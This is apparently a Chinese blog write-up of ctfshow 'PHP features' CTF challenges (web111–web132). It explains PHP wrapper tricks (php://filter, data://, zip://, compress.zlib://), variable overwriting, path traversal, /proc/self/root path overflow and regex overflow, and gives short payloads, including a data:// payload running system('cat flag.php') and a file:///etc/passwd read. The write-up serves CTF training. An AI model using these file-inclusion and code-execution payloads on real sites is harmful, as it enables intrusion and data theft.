[ctfshow]php特性3

本文探讨了使用伪协议、变量覆盖、目录溢出等技巧解决PHP安全题目的过程,涉及正则表达式、编码绕过、函数利用等高级手法。通过实例解析了如何利用php://filter、file://和数据协议绕过限制获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web111

在这里插入图片描述

  • 由下面正则可知,v1传ctfshow就行
  • $ $ v1=& $ $v2 &类似于指针,其实这个语句就是变量覆盖。我们想要flag,但是include(flag.php)是在函数之外的,我们可以传参进来,例如v2=_GET[‘flag’],但是下划线已经b a n了,所以我们考虑用全局变量
  • 由于var_dump能显示类型,所以这样构造
?v1=ctfshow & v2=GLOBALS

web112

在这里插入图片描述
这个题的意思是必须传入个不存在的文件才通过判断
我一开始i想着用伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

但是忘记了前面文件的判断base64被禁了,这个文件根本不能过判断
所以换成

?file=php://filter/resource=flag.php

web113

在这里插入图片描述
上一题php://filter已经用不了了,换一些伪协议

总结一下伪协议

借鉴学长文章

  • php://filter
php://filter/resource=index.php
php://filter/read=convert.base64-encode/resource=index.php
  • php://input
遇到file_get_contents()要想到用php://input绕过,post想设置的文件内容,c=system('ls');
  • zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。 相同的类型的还有zlib://和bzip2://
  • file://
    用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
    file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
http://www.xx.com?file=file:///          //访问根目录
  • data://
利用base64解码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
通配符绕过flag
?c=data://text/plain,<?php system('cat fl*')?>
  • ?file=compress.zlib://file.gz
  • glob://flag.php

解法一

我们看看这道题,payload是:

?file=compress.zlib://flag.php

解法二

目录溢出:is_file()会认为他不是文件,那么就能执行

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

在这里插入图片描述

  • 目录溢出无法执行,因为root被ban了
  • glob://也错误,因为返回的是数组,而highlight_file对数组是不显示高亮的
  • payload:payload: php://filter/resource=flag.php

web115

在这里插入图片描述
这道题有很多的判断条件,我们可以每个都拿出来放在本地测试
写个本地测试代码

  • is_numeric()
<?php
$num=$_GET['num'];
var_dump(is_numeric($num));
?>

在这里插入图片描述
这个过了,下一个。

  • num!==36
    发现这里返回false,36a不属于数字,那我们考虑控制字符,例如换行分页。试了几次后,发现前面加空格可以绕过
    在这里插入图片描述
    下一个函数
  • trim($num)!==36
    在这里插入图片描述
    没有%0c换页符。那我们试一下
    在这里插入图片描述
<?php
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
var_dump(is_numeric($num)and$num!=='36'and trim($num)!=='36'and filter($num)=='36'and $num=='36');
?>

在这里插入图片描述
成功是成功了,但这里明显有个矛盾:
var_dump($num!=='36'and $num=='36');
需要翻一下php手册

  • 如果比较一个字符串和数字或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照字符串来进行。$num=='36’中,36是个字符串,转换为数值后还是36。
    我们传进去的%0c36,转换为数值后也是36

  • 当用===或 !==进行比较时则不进行类型转换,因为此时类型和数值都要进行比对。所以$num!==‘36’

web123

在这里插入图片描述
先过第一层判断:post里面传送

CTF_SHOW=1&CTF[SHOW.COM=2
  • PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
  • 转换规则:对变量名里面不符合规则的变量只转换一次(类似双写绕过,pphphp,将中间的php转换为空)

试着绕过第三个判断

  • GET?2=flag_give_me
  • POST CTF_SHOW=1&CTF[SHOW.COM=2&fun=$fl0g=$_GET[2]
    虽然没有执行,但这个确实是一个新思路

echo等价于var_dump,print_r

  • get_included_files()返回被Include和require文件名的array
  • implode()将一个一维数组的值转化为字符串
  • get_defined_vars返回所有已定义变量所组成的数组

构造payload

CTF_SHOW=1&CTF[SHOW.COM=2&echo implode (get_defined_vars)

web125

在这里插入图片描述
前面的构造是一样的,那么既然GLOBALS被ban了,我们看看别的方法
看我圈起来的地方,前面不让传get,后面又需要相等,我们可以用post进行变量覆盖,这里涉及到extract()函数

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

web127

在这里插入图片描述
这里我们传入就行,但发现下划线已经ban了,又是之前的考点

  • PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
    payload:
?ctf%20show=ilove36d

web128

在这里插入图片描述

  • _()是一个函数。

  • _()==gettext()是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

  • call_user_func— 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

  • 当正常的gettext(“get_defined_vars”);时会返还get_defined_vars

  • 为了绕过正则,()函数和gettext()的效果一样,所以可以用()函数代替gettext()函数。

  • call_user_func会利用_()将get_defined_vars返还出来然后再用
    call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。

web129(遍历目录)

在这里插入图片描述

  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)也就是ctfshow不能出现在第一个位置
  • strpos()区分大小写

payload

?f=../ctfshow/../../www/html/flag.php

因为默认目录是var/www/html,…/ctfshow/到了html目录,…/ctfshow/…/到了www目录,…/ctfshow/…/…/就到了var目录
也可以这么写


?f=/ctfshow/../../../../var/www/html/flag.php

还有一种方法
把ctfshow当作当前目录下的一个文件,当时ctfshow能是开头,用./ctfshow替换
.尝试输出/etc/passwd的内容,在中间加…/
然后把etc/passwd替换成var/www/html/flag.php

在这里插入图片描述

查看源代码,拿到flag

web130

在这里插入图片描述

  • 要想绕过第一个判断条件,也就是这个正则。因为前面有个+,也就是?至少匹配一次。
  • 要想绕过第二个判断条件,其实我们看,stripos()查找字符串首次出现的位置(不区分大小写),是int型,那么与后面的字符串类型一定不相等

所以我们构造payload:

f=ctfshow

web131(正则表达式溢出)

正则表达式对长度有限制,以后可以试试溢出做题

<?php
$a=str_repeat('show',250000);
$b=$a.'36Dctfshow';
echo $b;
?>

在这里插入图片描述

web132

一打开是个网页,在没有思路的情况下我们可以看一下robots协议
在这里插入图片描述
打开后就是我们的题目

在这里插入图片描述
这里主要考察优先级
我们想要这条语句为真

 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

$$是两边为真即为真,||是有一边为真就是真,那我们我们直接控制username
payload:

admin/?username=admin&password=b&code=admin
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值